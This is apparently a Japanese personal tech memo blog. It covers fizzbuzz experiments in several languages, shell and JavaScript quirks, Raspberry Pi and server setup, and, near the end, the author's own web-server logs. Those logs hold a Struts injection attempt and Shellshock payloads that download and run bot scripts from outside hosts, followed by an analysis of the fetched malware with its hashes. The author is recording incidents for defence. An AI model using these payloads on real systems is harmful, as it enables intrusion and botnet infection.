僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。
前に思いついた 下らないfizzbuzzをnode.jsで。
"use strict" var mylist = ['fizzbuzz', , , 'fizz', , 'buzz', 'fizz', , , 'fizz', 'buzz', , 'fizz', , ]; var x, y, last = 16; for (x = 1; x <= last; x++) { y = x % 15 ; mylist[y] == undefined ? console.log(x) : console.log(mylist[y]); }
$ node lfb.js | cat -n 1 1 2 2 3 fizz 4 4 5 buzz 6 fizz 7 7 8 8 9 fizz 10 buzz 11 11 12 fizz 13 13 14 14 15 fizzbuzz 16 16
node.js。
特に複雑な端末操作など思いつかないけど。
#!/usr/bin/env node
"use strict"
console.log(process.argv[3]);
$ node argv.js foo bar baz bar $ chmod 755 argv.js $ ./argv.js foo bar baz bar
argv[0]が"node"で[1]がスクリプト名(フルパス)、 後は引数と未定義値。
"+"は、文字列の数値化、 加算、文字列連結(以上、優先順)ができるけど、"*"は乗算だけ。
> 2 + '18' 218 > + '18' + 2 20 > 2 + + '18' 20
> 'foo' + 2 'foo2' > 'foo' * 2 NaN
なんか細かい規則色々。
多分一番手っ取り早く。
"use strict" var x, last = + process.argv[2]; for (x = 1; x >= last; x++) { String(x).match('3') ? console.log('アホ') : console.log(x); }
$ node 3aho.js 32 | cat -n 1 1 2 2 3 アホ 4 4 // 10 10 11 11 12 12 13 アホ 14 14 // 29 29 30 アホ 31 アホ 32 アホ
-p オプションで桁数指定らしい。
桁数、回数、
初期値、終値と。
$ jot -p 2 7 3 5 | cat -n 1 3.00 2 3.33 3 3.67 4 4.00 5 4.33 6 4.67 7 5.00
もう少し複雑(増分/差分 指定)なものもあるが、 あんまり意味ないような(終値が 無視されたり)。
$ jot -p 2 5 4 0 -0.17 4.00 3.83 3.66 3.49 3.32
9年前の時点ではgopherは生きていた
(
今とは違い、当時のFirefoxは
"gopher://"を解した。いつから非対応だったっけ)。
ちょっと気になってapt-cache見たら、今でもクライアントはあった。
さしあたりはpythonで書かれているらしいforgで。
大きい画像はAboutを後から重ねている。
ここまで。
JavaScriptの奇妙な「数」
> NaN == NaN false > NaN != NaN true
x != x が成立するのは x = NaN の ときだけだそうである。
> 0 == -0 true > 0 === -0 > 1/0 Infinity > 1/(-0) -Infinity > -Infinity + Infinity NaN
スクリプト言語でも。
$ time gosh sfizzbuzz.scm 100000000 > /dev/null real 0m50.740s user 0m50.627s sys 0m0.016s $ time gosh sfizzbuzz.scm 10000000 > /dev/null real 0m4.240s user 0m4.220s sys 0m0.008s $ time gosh sfizzbuzz.scm 1000000 > /dev/null real 0m0.439s user 0m0.428s sys 0m0.008s
ついでにpython2と3の比較も。
以前とは違うが、
下らないのを
少し変えて実行。
変えた結果(毎回剰余を求める代わりに毎回listをpopと
insertで更新している)、ずっと
遅くなったようだ。
$ time python pylist_fizzbuzz.py3 100000000 > /dev/null real 1m33.917s user 1m32.734s sys 0m1.004s $ time python3 pylist_fizzbuzz.py3 100000000 > /dev/null real 2m58.786s user 2m58.407s sys 0m0.048s
自分のnode.jsは一桁以上低速だった。ので一千万回。
それでも。
$ time node listfb.js 10000000 > /dev/null real 4m38.935s user 4m34.721s sys 0m4.164s
別々にしたfizzbuzz。
これもやはり
既に実装済みであった。
自分のlispの技量では、あまり
綺麗にならなかった。
#!/usr/bin/env python3 from sys import argv try: last = int(argv[1]) + 1 except: print("No last number.") exit(2) flist = ['fizz', False, False] blist = ['buzz', False, False, False, False] for x in range(1, last): y = x % 3 z = x % 5 if flist[y]: print(flist[y], end='') if blist[z]: print(blist[z], end='') if not ( flist[y] or blist[z]): print(x, end='') print('')
リストは二つも要らないかも、という発想が浮かんだ。
大きいリストに小さいリストを併合して、排他的に
なるよう按排してみる。
#!/usr/bin/env python from __future__ import print_function from sys import argv try: last = int(argv[1]) + 1 except: print("No last number.") exit(2) list = ['buzz', False, 'fizz', False, False] for x in range(1, last): y = x % 3 + 2 z = x % 5 flag1, flag2 = True, True if list[y] == 'fizz': print(list[y], end='') flag1 = False if list[z] == 'buzz': print(list[z], end='') flag2 = False if flag1 and flag2: print(x, end='') print('')
なんとかバスの中で動作確認できた。
それにしてもflag を二つも設けるのはどう見ても変だ。
そのうちなんとかせねば。
ここまでくれば、単なる本末転倒。
リストの長さを3にしただけでは、
1 1 2 2 3 fizz 4 buzz 5 buzz 6 fizz 7 7 8 8 9 fizzbuzz 10 buzz 11 11 12 fizz 13 13 14 buzz 15 fizzbuzz 16 16
このように余計なものがいくつか出た。そこで
"14"とか
"29"とか
を省く処理(真偽判定に少々嵌った)を追記。
単に面倒になっただけという。
#!/usr/bin/env python from __future__ import print_function from sys import argv try: last = int(argv[1]) + 1 except: print("No last number.") exit(2) list = ['fizz',False,'buzz'] for x in range(1, last): y = x % 3 z = abs(x % 5 - 2) flag1, flag2 = True, True if list[y] == 'fizz': print(list[y], end='') flag1 = False if (list[z] == 'buzz') \ and (str(x).find('4')) \ and (str(x).find('9')): print(list[z], end='') flag2 = False if flag1 and flag2: print(x, end='') print('')
どこかをいじるとうまくいかなくなっていたが、
Webからコピペしなおすとちゃんと動くようだった。
fizzと
buzzを
同じリストに併合する手法の改善。
冗漫なことはあまり変わらないだろうけど。
#!/usr/bin/env python from __future__ import print_function from sys import argv try: last = int(argv[1]) + 1 except: print("No last number.") exit(2) list = ['buzz', 'fizz', False, False, False] def fizz(num): y = num % 3 + 1 if list[y] == 'fizz': return True else: return False def buzz(num): z = num % 5 if list[z] == 'buzz': return True else: return False for x in range(1, last): if fizz(x): print("fizz", end='') if buzz(x): print("buzz", end='') if not (fizz(x) or buzz(x)): print(x, end='') print('')
fizzbuzzの処理を追加すれば、 print('')を省いて、 if の連続代りに if .. elif .. else できるのだけど。
B+に入れてみた。
Raspbianのイメージ (2014-06-20-wheezy-raspbian.img)を インストールしてから、apt-getを何回か 繰り返す。最終的には apt-get dist-upgrade にオプションいくつか つけた。気がする。
自分で追加したパッケージはtmuxのみ。で、
699パッケージ。が、最後には962パッケージに
膨れ上がっていた。
rc なパッケージも40以上あった(いくつかは
手動で削除)。
$ cat /proc/version Linux version 3.12.28+ (dc4@dc4-XPS13-9333) \ (gcc version 4.8.3 20140303 (prerelease) \ (crosstool-NG linaro-1.13.1+bzr2650 - Linaro GCC 2014.03) )\ #709 PREEMPT Mon Sep 8 15:28:00 BST 2014
最初は何だったか、それは記録してなかった。
例によって、前にやったかどうか覚えてない例(?)。
十進値、
二進値、
反転値、
反転の二進値。
(x+1) * (-1) といったところか。
>>> for x in range(7): ... print x, '{:3b}'.format(x), \ ... ~x, '{:4b}'.format(~x) ... 0 0 -1 -1 1 1 -2 -10 2 10 -3 -11 3 11 -4 -100 4 100 -5 -101 5 101 -6 -110 6 110 -7 -111
動作環境には(OSはWinを除くとRedHatとCentのみ)、 Glibc2.5以上 とのことであったが、 EGLIBC2.13 のwheezy (x86_64)でもインストールはできた。
$ uname -a Linux debian 3.2.0-4-amd64 #1 SMP \ Debian 3.2.60-1+deb7u3 x86_64 GNU/Linux $ ldd --version ldd (Debian EGLIBC 2.13-38+deb7u4) 2.13 Copyright (C) 2011 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 作者 Roland McGrath および Ulrich Drepper。
補完が効かないファイル名をどうにかして、sudo sh $PROG すると、日本語表示の有無を確認するメッセージの後に、 "GLIBCのバージョンを検出できませんでした。"
やっぱりダメかと思いつつ、エラーメッセージなどで適当に検索して
参考になったページ。
libc6-i386パッケージをapt-getして
無事インストール。
ブラウザで軽くアクセスしたが、基本動作は問題なさげ。
/usr/lib/cgi-bin/cbag$ file ag.cgi ag.cgi: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, BuildID[sha1]=0xb3ad231af94a72fb0facb059be3a964492e8ee66, stripped /usr/lib/cgi-bin/cbag$ ldd ag.cgi linux-gate.so.1 => (0xf7771000) libdl.so.2 => /lib32/libdl.so.2 (0xf5d8f000) libpthread.so.0 => /lib32/libpthread.so.0 (0xf5d76000) libm.so.6 => /lib32/libm.so.6 (0xf5d50000) libc.so.6 => /lib32/libc.so.6 (0xf5bec000) /lib/ld-linux.so.2 (0xf7772000)
そういえばx86_64で使ったことなかったみたい。
改めて確認すると、
32bitのライブラリが必要という
情報はあったのだけど。
おっとっと。Cybouzu Office 10だ。
省略はしないように。
ほとんど使った形跡も見当たらないジャンク品。
挿すと
認識はした。が、そのままでは緑色の画面が表示されるだけ。
とりあえず使えることを確認する。
Ubuntu-14.04(LIVE DVD)であっさり
デスクトップが。
Raspbianは...そのうち考えよう。定格が5V/500mAとあったから、B+でも 直挿しはきつそうだし。
自宅のドメインを閉鎖した後は NetBSD動かしたりする 程度であった放置していたが、久々に火を入れてみた。
IPは覚えていたのでSSHを考えたが、sshdは有効にして
いなかったみたい。
シリアルコンソール接続に試行錯誤。
USBシリアルと変換アダプタと普通の
LANケーブルで足りた。
ファームウェアの無償アップデートサービスは
昨年終了していた。
とりあえずは
IPv6最新にしてSendmailなしに入れ替える。
OBSに直接ftpでダウンロードして、/usr/sbin/flashcfg -s $FILENAME。
無事終了して再起動。
ssd-linux login: root Password: SSD/Linux 0.4-RELEASE-20130207/2.6.16 #2 Sun Feb 17 00:12:06 JST 2013 # uname -a Linux ssd-linux 2.6.16 #2 Sun Feb 17 00:12:06 JST 2013 \ ppc SSD/Linux 0.4-RELEASE-20130207
4.0.5.1 にあげた。
tdiary.conf と .htaccess と images を新しい方にコピー。
するだけと分かるまで、しばらくdockerに設けた仮想Ubuntuで試行錯誤。
<追記>
theme/default/default.css も要った。キャッシュの為に
気づくのが遅れていた。
</追記>
$ grep '()' $ACCESSLOG 58.44.75.143 - - [22/Sep/2014:19:06:29 +0900] "GET /~kuzu/diary/\ ?date=200806?redirect:${%23req%3d%23context.get('com.opensymphon\ y.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealP\ ath(%22/%22)...
Strutsの脆弱性狙いの模様。
ちなみにこちらにはjavaは入れていない。
このアクセスの直前、同じIPからGoogleBotを詐称した普通の
アクセスが二件。
このUser-Agentは、"Mozilla/4.0 (compatible;
Win32; WinHttp.WinHttpRequest.5)" だった。
access.logに、
194.209.220.10 - - [28/Sep/2014:16:57:30 +0900] "GET / HTTP/1.0" 200 3897 "-" "() { :;}; /bin/bash -c \" wget http://stablehost.us/bots/regular.bot -O /tmp/sh; curl -o /tmp/sh http://stablehost.us/bots/regular.bot; sh /tmp/sh; rm -rf /tmp/sh\""
なる一行。検索すると
似た報告が色々。
で、regular.botをdownloadしてみた。
他に4つばかりプログラムを/tmpの下にダウンロードして
実行し、crontabを書き換えて、削除する内容になっていた。
それも頂戴して見てみた。
$ ls -l 合計 1116 -rw-rw-r-- 1 user group 982256 9月 29 08:11 a -rw-rw-r-- 1 user group 42436 9月 29 08:11 darwin -rw-rw-r-- 1 user group 39130 9月 29 08:11 kaiten.c -rw-rw-r-- 1 user group 66395 9月 29 08:11 pl -rw-rw-r-- 1 user group 701 9月 29 08:11 regular.bot $ file * a: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=0xd5fb250b91b5baf9874e986fd7d14f88e6d4e1d2, not stripped darwin: Mach-O 64-bit executable kaiten.c: ASCII English text, with very long lines pl: data regular.bot: ASCII text $ sha1sum * 889b8f612fe790b786f1184bebe9dd5bf86ce8f6 a e75b8133404dcea606a04a8e4c03b0af8bec6d22 darwin 658daf96fa06636bb50af577a980529aa3282499 kaiten.c 62aed37b3e6fbe8ff6552e3cf87b78ed473a9a43 pl edde96085b3a9c097b474d6345ab4166e28e4cff regular.bot $ sha256sum * 3cafb672d0bc1acfb4eb506050f71a2acf1b239a36102a101b4d52ce75749372 a 61c46e434a117294148a53997d9c1d7bca724e8c9cf429d0eb92e93585bdfac6 darwin 47e71a4de9351e90a884978f2984796c1d770cbb3010cfbe2d8600cf259b6832 kaiten.c a2f7839d37825f097a17ff03ed6fd5205a97fb4f2651945390e347804fcd8391 pl 1bd24270449047e2d0df9f7a5ecf58fd0647e25b55328c52c6cff6629a118530 regular.bot
"kaiten.c"は1000行近くあるCのソース。もちろん侵入先でビルド、実行する。
これも
かなりメジャーなものと見えた。
"pl"はPerl Script。これも2000行近くあった。
"darwin"を見ると、MacOSXもターゲットらしい。チェックサムで
検索すると、
Tsunamiとか呼ばれるバックドアの模様。
bashの脆弱性攻撃もう一丁。
173.45.100.18 - - [29/Sep/2014:10:18:21 +0900] "GET /cgi-bin/hi HTTP/1.0" 404 770 "-" "() { :;}; /bin/bash -c \" cd /tmp; wget http://213.5.67.223/ji; curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji; rm -rf /tmp/ji; rm -rf /tmp/ji*\""
ji はwget できた。が、juratは"Not Found"であった。
LinuxNet Perlbotらしい。
$ ls -l 合計 20 -rw-rw-r-- 1 makoto makoto 16680 9月 29 00:44 ji $ file ji ji: a /usr/bin/perl\015 script, ASCII text executable, with CRLF line terminators $ sha1sum ji dc788bfb3ef12016cdb53c904ef47cfd3f5d2a97 ji $ sha256sum ji ef42439cb6b8dd9d7d28147efe2282502b4081487cb8df42cb5e9fade5b660d3 ji
リンクはご自由にどうぞ。でもURLや内容が変った場合はあしからず。